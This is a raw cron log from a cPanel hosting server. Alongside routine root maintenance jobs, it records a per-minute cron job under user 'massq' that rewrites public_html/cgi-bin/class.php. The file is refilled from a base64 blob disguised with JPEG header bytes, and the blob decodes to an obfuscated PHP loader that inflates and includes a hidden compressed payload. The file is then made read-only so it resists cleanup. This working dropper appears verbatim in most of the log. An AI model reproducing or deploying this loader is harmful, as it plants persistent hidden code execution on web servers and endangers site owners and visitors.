Sep  7 01:21:01 server CROND[19484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:22:01 server CROND[19856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:22:01 server CROND[19858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:22:01 server CROND[19857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:23:01 server CROND[20224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:23:01 server CROND[20225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:23:01 server CROND[20226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:24:01 server CROND[20593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:24:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:24:01 server CROND[20594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:25:01 server CROND[20971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:25:01 server CROND[20972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:25:01 server CROND[20976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:25:01 server CROND[20974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:25:01 server CROND[20975]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:25:01 server CROND[20973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:25:01 server CROND[20978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:26:01 server CROND[21787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:26:01 server CROND[21788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:26:01 server CROND[21789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:27:01 server CROND[22260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:27:01 server CROND[22262]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:27:01 server CROND[22261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:27:01 server CROND[22263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:28:01 server CROND[22637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:28:01 server CROND[22638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:28:01 server CROND[22639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:29:01 server CROND[23167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:29:01 server CROND[23168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:29:01 server CROND[23169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:30:01 server CROND[23539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:30:01 server CROND[23541]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:30:01 server CROND[23544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:30:01 server CROND[23545]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:30:01 server CROND[23542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:30:01 server CROND[23546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:30:01 server CROND[23543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:30:01 server CROND[23547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:31:01 server CROND[24413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:31:01 server CROND[24414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:31:01 server CROND[24415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:32:01 server CROND[24873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:32:01 server CROND[24874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:32:01 server CROND[24875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:33:01 server CROND[25261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:33:01 server CROND[25262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:33:01 server CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:34:01 server CROND[25633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:34:01 server CROND[25634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
